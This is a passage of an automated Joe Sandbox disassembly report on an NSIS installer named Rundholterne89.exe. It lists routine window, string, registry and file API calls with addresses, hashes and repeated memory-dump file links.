Associated: 00000000.00000002.1402408602.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402530784.0000000000442000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402530784.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402530784.0000000000452000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Rundholterne89.jbxd

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: e8c91e704ef8b2f1a11ad189bfd14f771d09f9d58710722270f9777396a44b4e
Instruction ID: f3431a0ddd372d44177634c3e6640760e16b4c563197d04d055afd4279a4596b
Opcode Fuzzy Hash: e8c91e704ef8b2f1a11ad189bfd14f771d09f9d58710722270f9777396a44b4e
Instruction Fuzzy Hash: F4219F71808705ABCB209F78DD48A4BBBF8AF41704B048A2AE996F26E0C734E904CB55

Function 00404F48 Relevance: 10.6, APIs: 7, Instructions: 73stringwindowCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00429048,00000000,0041C205,774D23A0,?,?,?,?,?,?,?,?,?,00402FFA,00000000,?), ref: 00404F81
lstrlenA.KERNEL32(00402FFA,00429048,00000000,0041C205,774D23A0,?,?,?,?,?,?,?,?,?,00402FFA,00000000), ref: 00404F91
lstrcatA.KERNEL32(00429048,00402FFA,00402FFA,00429048,00000000,0041C205,774D23A0), ref: 00404FA4
SetWindowTextA.USER32(00429048,00429048), ref: 00404FB6
SendMessageA.USER32(?,00001004,00000000,00000000), ref: 00404FDC
SendMessageA.USER32(?,00001007,00000000,00000001), ref: 00404FF6
SendMessageA.USER32(?,00001013,?,00000000), ref: 00405004

Memory Dump Source

Source File: 00000000.00000002.1402358709.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1402334549.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402388682.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402530784.0000000000442000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402530784.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402530784.0000000000452000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Rundholterne89.jbxd

Similarity

API ID: MessageSend$lstrlen$TextWindowlstrcat
String ID:
API String ID: 2531174081-0
Opcode ID: 534154c7e412c88fb75b9fbb21228ed2bc61e9f55108b0b726938b2d4222e579
Instruction ID: 5247e829223e414f07dbea0a4ec6ac131d28d962b221907bbf4360a320382309
Opcode Fuzzy Hash: 534154c7e412c88fb75b9fbb21228ed2bc61e9f55108b0b726938b2d4222e579
Instruction Fuzzy Hash: 76218C71D00118BBDF219FA5DC84ADEBFA9EF08354F10807AF904B6291C7798E408FA8

Function 00404813 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(?,0000110A,00000009,00000000), ref: 0040482E
GetMessagePos.USER32 ref: 00404836
ScreenToClient.USER32(?,?), ref: 00404850
SendMessageA.USER32(?,00001111,00000000,?), ref: 00404862
SendMessageA.USER32(?,0000110C,00000000,?), ref: 00404888

Strings

f, xrefs: 00404864

Memory Dump Source

Source File: 00000000.00000002.1402358709.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1402334549.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402388682.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402530784.0000000000442000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402530784.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402530784.0000000000452000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Rundholterne89.jbxd

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: 13dcb630cae817d26763a7c5c34c1a537cec2b83c976c16d0abeb4614e4307e4
Instruction ID: 72a6dff9965abeea3fde93c43f55bc8d1d0b984f63b53e8c81f3052648e7bb03
Opcode Fuzzy Hash: 13dcb630cae817d26763a7c5c34c1a537cec2b83c976c16d0abeb4614e4307e4
Instruction Fuzzy Hash: EC019275D00218BADB00DBA5DC41FFEBBBCAF45711F10412BBB10B61C0C7B4A5018BA5

Function 00402B7F Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 40timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,00000001,000000FA,00000000), ref: 00402B9A
MulDiv.KERNEL32(000D9908,00000064,000D990C), ref: 00402BC5
wsprintfA.USER32 ref: 00402BD5
SetWindowTextA.USER32(?,?), ref: 00402BE5
SetDlgItemTextA.USER32(?,00000406,?), ref: 00402BF7

Strings

verifying installer: %d%%, xrefs: 00402BCF

Memory Dump Source

Source File: 00000000.00000002.1402358709.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1402334549.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402388682.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402530784.0000000000442000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402530784.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402530784.0000000000452000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Rundholterne89.jbxd

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: verifying installer: %d%%
API String ID: 1451636040-82062127
Opcode ID: f377c182e300eefdb83bb0ba9c57991093f425550345df3c4c3600326924e25d
Instruction ID: f77185bba9c57e6aa61c0c8aee9f592e237af7c43fbef78eddb3d4185353df7a
Opcode Fuzzy Hash: f377c182e300eefdb83bb0ba9c57991093f425550345df3c4c3600326924e25d
Instruction Fuzzy Hash: D001F471640208BBEF209F60DD09EAE3779EB04744F008039FA16B51D1D7B5A955DB59

Function 00402A7A Relevance: 7.6, APIs: 5, Instructions: 67registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(?,?,00000000,?,?), ref: 00402A9B
RegEnumKeyA.ADVAPI32(?,00000000,?,00000105), ref: 00402AD7
RegCloseKey.ADVAPI32(?), ref: 00402AE0
RegCloseKey.ADVAPI32(?), ref: 00402B05
RegDeleteKeyA.ADVAPI32(?,?), ref: 00402B23

Memory Dump Source

Source File: 00000000.00000002.1402358709.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1402334549.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402388682.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402530784.0000000000442000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402530784.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402530784.0000000000452000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Rundholterne89.jbxd

Similarity

API ID: Close$DeleteEnumOpen
String ID:
API String ID: 1912718029-0
Opcode ID: 7766ad722bcf743109a83c91df0766a7f4c549130a1e07b93abaa864288c9da4
Instruction ID: e0b40e6d550d0c6dedecb0be42375ee7245bd63e637183e656586a56a8cfacd8
Opcode Fuzzy Hash: 7766ad722bcf743109a83c91df0766a7f4c549130a1e07b93abaa864288c9da4
Instruction Fuzzy Hash: 66116D31A00108FEDF22AF90DE89EAA3B7DEB54349B104436FA01B10E0D774AE51DB69

Function 00401CDE Relevance: 7.5, APIs: 5, Instructions: 39windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?), ref: 00401CE2
GetClientRect.USER32(00000000,?), ref: 00401CEF
LoadImageA.USER32(?,00000000,?,?,?,?), ref: 00401D10
SendMessageA.USER32(00000000,00000172,?,00000000), ref: 00401D1E
DeleteObject.GDI32(00000000), ref: 00401D2D

Memory Dump Source

Source File: 00000000.00000002.1402358709.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1402334549.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402388682.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402530784.0000000000442000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402530784.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402530784.0000000000452000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Rundholterne89.jbxd

Similarity

API ID: ClientDeleteImageItemLoadMessageObjectRectSend
String ID:
API String ID: 1849352358-0
Opcode ID: df9cc67d31b04cd6e9f5647a99bb7b911e6a77bbf16d980a5e8a288dfb7b3bdc
Instruction ID: 718a49c372d49eeeb619100b459207f1cde729867d9d835a9e14b5832590348d
Opcode Fuzzy Hash: df9cc67d31b04cd6e9f5647a99bb7b911e6a77bbf16d980a5e8a288dfb7b3bdc
Instruction Fuzzy Hash: 74F0E7B2A04114AFEB01EBE4DE88DAFB7BDEB54305B10447AF602F6191C7749D018B79

Function 00401D38 Relevance: 7.5, APIs: 5, Instructions: 38COMMON

Download Yara Rule

APIs

GetDC.USER32(?), ref: 00401D3B
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00401D48
MulDiv.KERNEL32(00000000,00000002,00000000), ref: 00401D57
ReleaseDC.USER32(?,00000000), ref: 00401D68
CreateFontIndirectA.GDI32(0040A818), ref: 00401DB3

Memory Dump Source

Source File: 00000000.00000002.1402358709.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1402334549.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402388682.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402530784.0000000000442000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402530784.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402530784.0000000000452000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Rundholterne89.jbxd

Similarity

API ID: CapsCreateDeviceFontIndirectRelease
String ID:
API String ID: 3808545654-0
Opcode ID: c2a9d05608db3b551cbe7321e8fd88224b197bc40f94a71f0fff53b7c1922a27
Instruction ID: ad7d238852a8d87b5aaa3e6a204337ae93e1cce4a0b470fbec170e72a625d374
Opcode Fuzzy Hash: c2a9d05608db3b551cbe7321e8fd88224b197bc40f94a71f0fff53b7c1922a27
Instruction Fuzzy Hash: EA01D632944340AFEB0177B0AE4EBAA3FB49759309F108479F201B62E2C6790052CF6F

Function 00404709 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00429868,00429868,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,00404624,000000DF,00000000,00000400,?), ref: 004047A7
wsprintfA.USER32 ref: 004047AF
SetDlgItemTextA.USER32(?,00429868), ref: 004047C2

Strings

%u.%u%s%s, xrefs: 00404791

Memory Dump Source

Source File: 00000000.00000002.1402358709.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1402334549.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402388682.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402530784.0000000000442000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402530784.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402530784.0000000000452000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Rundholterne89.jbxd

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s
API String ID: 3540041739-3551169577
Opcode ID: 1472cf9e36570b38fa99e832c46bb30f5d20a58f0764e004e3f2a6e79c89f0d0
Instruction ID: 053aaa49463ee093dad042f908cd6657d31450f6c5b0c7846562dfb37f065ee1
Opcode Fuzzy Hash: 1472cf9e36570b38fa99e832c46bb30f5d20a58f0764e004e3f2a6e79c89f0d0
Instruction Fuzzy Hash: 0E11E473A041283BDB0065A99C45EAF3288DB82374F254237FA25F71D1EA78CC1286A8

Function 00403974 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 71COMMON

Download Yara Rule

APIs

SetWindowTextA.USER32(00000000,Hermandas Setup), ref: 00403A0C

Strings

"C:\Users\user\Desktop\Rundholterne89.exe", xrefs: 00403975
Hermandas Setup, xrefs: 004039FB
1033, xrefs: 00403978, 00403982, 004039F3

Memory Dump Source

Source File: 00000000.00000002.1402358709.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1402334549.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402388682.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402530784.0000000000442000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402530784.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402530784.0000000000452000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Rundholterne89.jbxd

Similarity

API ID: TextWindow
String ID: "C:\Users\user\Desktop\Rundholterne89.exe"$1033$Hermandas Setup
API String ID: 530164218-3196150966
Opcode ID: c35f14d8ae607f964b1d366d12cd70842dee39e56cae11f13a59ba4c30930c7f
Instruction ID: fbf6035dbb292e76ee93bcdc762ea67a79fb5cde0254510f453a1e05a67cff09
Opcode Fuzzy Hash: c35f14d8ae607f964b1d366d12cd70842dee39e56cae11f13a59ba4c30930c7f
Instruction Fuzzy Hash: 97110871B046109BC730AF56DC409737B6CEF89319368423FE801A73D1D639AD03CAA9

Function 004057A1 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 16stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(?,C:\Users\user\AppData\Local\Temp\,004030FC,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004032FF), ref: 004057A7
CharPrevA.USER32(?,00000000,?,C:\Users\user\AppData\Local\Temp\,004030FC,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004032FF), ref: 004057B0
lstrcatA.KERNEL32(?,00409014), ref: 004057C1

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 004057A1

Memory Dump Source

Source File: 00000000.00000002.1402358709.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1402334549.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402388682.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402530784.0000000000442000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402530784.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402530784.0000000000452000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Rundholterne89.jbxd

Similarity

API ID: CharPrevlstrcatlstrlen
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 2659869361-2145255484
Opcode ID: 39623dee3265ed167cf4eb0d952b1efefe5673d98ca6e2622bb109ae9f6b3ea7
Instruction ID: 31daa9478c60f2ec517fa6cf0afa0cd81b34b06dfe81de980877f4a94ee531a8
Opcode Fuzzy Hash: 39623dee3265ed167cf4eb0d952b1efefe5673d98ca6e2622bb109ae9f6b3ea7
Instruction Fuzzy Hash: 8ED0A762505D306BE21226155C09D8B2A08CF12740B044027F100B61E1C63C4D414FFD

Function 00402C02 Relevance: 6.0, APIs: 4, Instructions: 33COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000,00000000,00402DE2,00000001), ref: 00402C15
GetTickCount.KERNEL32 ref: 00402C33
CreateDialogParamA.USER32(0000006F,00000000,00402B7F,00000000), ref: 00402C50
ShowWindow.USER32(00000000,00000005), ref: 00402C5E

Memory Dump Source

Source File: 00000000.00000002.1402358709.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1402334549.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402388682.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402530784.0000000000442000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402530784.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402530784.0000000000452000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Rundholterne89.jbxd

Similarity

API ID: Window$CountCreateDestroyDialogParamShowTick
String ID:
API String ID: 2102729457-0
Opcode ID: 42481ae060c013658952b0ba65f2133d3ed78682e8b262a627202bc2b689c50f
Instruction ID: 1b84634240e2166e3851fbc92cd381e461e1db94d3428fd6ef6110bf0b183a31
Opcode Fuzzy Hash: 42481ae060c013658952b0ba65f2133d3ed78682e8b262a627202bc2b689c50f
Instruction Fuzzy Hash: 97F05E30A09220EFD6317B20FE4CD9F7BA4BB04B15B404976F104B11EAC7782882CB9D

Function 0040588F Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00405D2F: lstrcpynA.KERNEL32(?,?,00000400,004031BD,Hermandas Setup,NSIS Error), ref: 00405D3C

Part of subcall function 0040583A: CharNextA.USER32(?,?,0042AC70,?,004058A6,0042AC70,0042AC70,774D3410,?,C:\Users\user\AppData\Local\Temp\,004055F1,?,774D3410,C:\Users\user\AppData\Local\Temp\,00000000), ref: 00405848
Part of subcall function 0040583A: CharNextA.USER32(00000000), ref: 0040584D
Part of subcall function 0040583A: CharNextA.USER32(00000000), ref: 00405861

lstrlenA.KERNEL32(0042AC70,00000000,0042AC70,0042AC70,774D3410,?,C:\Users\user\AppData\Local\Temp\,004055F1,?,774D3410,C:\Users\user\AppData\Local\Temp\,00000000), ref: 004058E2
GetFileAttributesA.KERNEL32(0042AC70,0042AC70,0042AC70,0042AC70,0042AC70,0042AC70,00000000,0042AC70,0042AC70,774D3410,?,C:\Users\user\AppData\Local\Temp\,004055F1,?,774D3410,C:\Users\user\AppData\Local\Temp\), ref: 004058F2

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 0040588F

Memory Dump Source

Source File: 00000000.00000002.1402358709.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1402334549.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402388682.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402530784.0000000000442000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402530784.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402530784.0000000000452000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Rundholterne89.jbxd

Similarity

API ID: CharNext$AttributesFilelstrcpynlstrlen
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 3248276644-2145255484
Opcode ID: db8bdf16e861f9482455b6e3180b19c0ec0d0437e7b2793ecf43ff70ccde9147
Instruction ID: 9b9a112432e638448ae222c580828ae1e9a3246b43ea9c19d715dfb55d3aa95b
Opcode Fuzzy Hash: db8bdf16e861f9482455b6e3180b19c0ec0d0437e7b2793ecf43ff70ccde9147
Instruction Fuzzy Hash: 1CF0F427105D6156E622323A5C49A9F1A54CE86324718C53BFC50B22C2CA3C88639D7E

Function 0040361A Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 19COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?,774D3410,00000000,C:\Users\user\AppData\Local\Temp\,004035F2,0040340C,?), ref: 00403634
GlobalFree.KERNEL32(00000000), ref: 0040363B

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 0040361A

Memory Dump Source

Source File: 00000000.00000002.1402358709.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1402334549.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402388682.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402530784.0000000000442000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402530784.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402530784.0000000000452000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Rundholterne89.jbxd

Similarity

API ID: Free$GlobalLibrary
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 1100898210-2145255484
Opcode ID: dccbf9c36de3459267eb1af99735bed06c7a158201479be104942c1c24015bd8
Instruction ID: 1a9bfca33d817e772708c534a1c0ef1eeb9da564593c1c7aee7843147688a1a4
Opcode Fuzzy Hash: dccbf9c36de3459267eb1af99735bed06c7a158201479be104942c1c24015bd8
Instruction Fuzzy Hash: 60E08C329050606BC6316F15ED04B2E76A9AB48B22F42006AEA407B3A08B756C424BCC

Function 004057E8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(80000000,C:\Users\user\Desktop,00402CD2,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\Rundholterne89.exe,C:\Users\user\Desktop\Rundholterne89.exe,80000000,00000003), ref: 004057EE
CharPrevA.USER32(80000000,00000000,80000000,C:\Users\user\Desktop,00402CD2,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\Rundholterne89.exe,C:\Users\user\Desktop\Rundholterne89.exe,80000000,00000003), ref: 004057FC

Strings

C:\Users\user\Desktop, xrefs: 004057E8

Memory Dump Source

Source File: 00000000.00000002.1402358709.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1402334549.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
